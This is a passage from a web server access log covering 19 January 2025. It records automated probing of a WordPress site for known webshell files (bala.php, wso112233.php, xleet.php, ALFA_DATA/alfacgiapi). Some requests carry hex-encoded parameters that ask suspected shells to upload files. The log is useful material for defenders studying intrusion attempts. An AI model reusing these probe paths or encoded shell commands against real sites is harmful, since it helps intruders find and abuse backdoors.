- - [19/Jan/2025:20:10:12 +0530] "GET /wp-content/style-css.php HTTP/1.1" 302 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:13 +0530] "GET /million.php HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:13 +0530] "GET /4pric.php HTTP/1.1" 302 229 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:14 +0530] "GET /404.php HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:15 +0530] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:15 +0530] "GET /.well-knownold/bala.php HTTP/1.1" 302 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:16 +0530] "GET /.well-known/acme-challenge/bala.php HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:17 +0530] "GET /.well-known/pkivalidation/bala.php HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:17 +0530] "GET /wp-content/plugins/bala.php HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:18 +0530] "GET /wp-content/uploads/bala.php HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:19 +0530] "GET /wp-content/bala.php HTTP/1.1" 302 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:19 +0530] "GET /wp-includes/bala.php HTTP/1.1" 302 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:20 +0530] "GET /wp-admin/bala.php HTTP/1.1" 302 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:21 +0530] "GET /wp-content/themes/bala.php HTTP/1.1" 302 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:21 +0530] "GET /.well-known/bala.php HTTP/1.1" 302 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:22 +0530] "GET /wp-content/themes/shell20211028.php HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:23 +0530] "GET /wp-admin/shell20211028.php HTTP/1.1" 302 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:24 +0530] "GET /wp-includes/shell20211028.php HTTP/1.1" 302 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:25 +0530] "GET /wp-content/shell20211028.php HTTP/1.1" 302 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:25 +0530] "GET /wp-content/uploads/shell20211028.php HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:26 +0530] "GET /wp-content/plugins/shell20211028.php HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:27 +0530] "GET /.well-known/pkivalidation/shell20211028.php HTTP/1.1" 302 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:27 +0530] "GET /.well-known/acme-challenge/shell20211028.php HTTP/1.1" 302 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:28 +0530] "GET /.well-knownold/shell20211028.php HTTP/1.1" 302 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:29 +0530] "GET /.well-known/shell20211028.php HTTP/1.1" 302 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:30 +0530] "GET /wp-content/themes/wso112233.php HTTP/1.1" 302 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:10:30 +0530] "GET /wp-admin/wso112233.php HTTP/1.1" 302 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:18:50 +0530] "GET /xleet.php HTTP/1.1" 302 229 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:18:57 +0530] "GET /xl2023.php HTTP/1.1" 302 230 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:23:41 +0530] "GET /xleet.php HTTP/1.1" 302 229 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:23:47 +0530] "GET /xl2023.php HTTP/1.1" 302 230 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:23:53 +0530] "GET /xl2023x.php HTTP/1.1" 302 231 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:23:57 +0530] "GET /xxl.php HTTP/1.1" 302 227 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:24:01 +0530] "GET /x.php HTTP/1.1" 302 225 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:24:08 +0530] "GET /xl.php HTTP/1.1" 302 226 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:24:14 +0530] "GET /wp-admin/xl2023.php HTTP/1.1" 302 239 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:24:21 +0530] "GET /wp-includes/xl2023.php HTTP/1.1" 302 242 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:24:29 +0530] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 302 262 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:24:36 +0530] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 302 253 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:24:44 +0530] "GET /wp-admin/maint/iR7SzrsOUEP.php HTTP/1.1" 302 250 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:24:51 +0530] "GET /wp-content/upgrade/iR7SzrsOUEP.php HTTP/1.1" 302 254 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:24:57 +0530] "GET /images/iR7SzrsOUEP.php HTTP/1.1" 302 242 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:25:05 +0530] "GET /wp-admin/user/iR7SzrsOUEP.php HTTP/1.1" 302 249 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:25:10 +0530] "GET /wp-admin/js/widgets/iR7SzrsOUEP.php HTTP/1.1" 302 255 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:25:16 +0530] "GET /wp-admin/network/iR7SzrsOUEP.php HTTP/1.1" 302 252 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:25:22 +0530] "GET /wp-admin/images/iR7SzrsOUEP.php HTTP/1.1" 302 251 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:25:30 +0530] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 404 - "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:25:32 +0530] "GET /xleet-shell.php HTTP/1.1" 302 235 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:25:38 +0530] "GET /admin-heade.php HTTP/1.1" 302 235 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:25:43 +0530] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 302 243 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:25:47 +0530] "GET /wp-content/xl2023.php HTTP/1.1" 302 241 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:25:54 +0530] "GET /wp-content/xl2023.php HTTP/1.1" 302 241 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:26:03 +0530] "GET /iR7SzrsOUEP.php HTTP/1.1" 302 235 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:20:26:08 +0530] "GET /wp-content/uploads/xl2023.php HTTP/1.1" 302 249 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 54.147.61.178 - - [19/Jan/2025:20:33:09 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:39:59 +0530] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 400 591 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:41:30 +0530] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:42:58 +0530] "GET /inputs.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 18.143.133.223 - - [19/Jan/2025:20:43:09 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:18 +0530] "GET /simple.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:21 +0530] "GET /wp-atom.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:25 +0530] "GET /ALFA_DATA/alfacgiapi/?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:30 +0530] "GET /admin.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:33 +0530] "GET /shell.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:35 +0530] "GET /wp-includes/js/tinymce/plugins/image/index.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:39 +0530] "GET /classwithtostring.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:41 +0530] "GET /wp-includes/SimplePie/index.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:45 +0530] "GET /chosen.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:50 +0530] "GET /wp-content/uploads/index.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:52 +0530] "GET /ninja.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:20:44:55 +0530] "GET /link.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:39 +0530] "GET /wp-content/uploads/ HTTP/1.1" 302 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:41 +0530] "GET /wp-includes/ HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:42 +0530] "GET /wp-includes/css/ HTTP/1.1" 302 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:44 +0530] "GET /wp-includes/ID3/ HTTP/1.1" 302 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:45 +0530] "GET /wp-includes/IXR/ HTTP/1.1" 302 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:46 +0530] "GET /wp-includes/Requests/ HTTP/1.1" 302 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:47 +0530] "GET /wp-includes/SimplePie/ HTTP/1.1" 302 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:48 +0530] "GET /wp-includes/Text/ HTTP/1.1" 302 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:49 +0530] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 302 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:50 +0530] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 302 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:51 +0530] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 302 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:51 +0530] "GET /wp-content/mu-plugins/ HTTP/1.1" 302 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:53 +0530] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 302 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:53 +0530] "GET /wp-includes/blocks/ HTTP/1.1" 302 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:54 +0530] "GET /wp-includes/certificates/ HTTP/1.1" 302 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:56 +0530] "GET /wp-includes/customize/ HTTP/1.1" 302 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:57 +0530] "GET /wp-includes/fonts/ HTTP/1.1" 302 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:06:58 +0530] "GET /wp-includes/images/ HTTP/1.1" 302 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:00 +0530] "GET /.well-known/ HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) 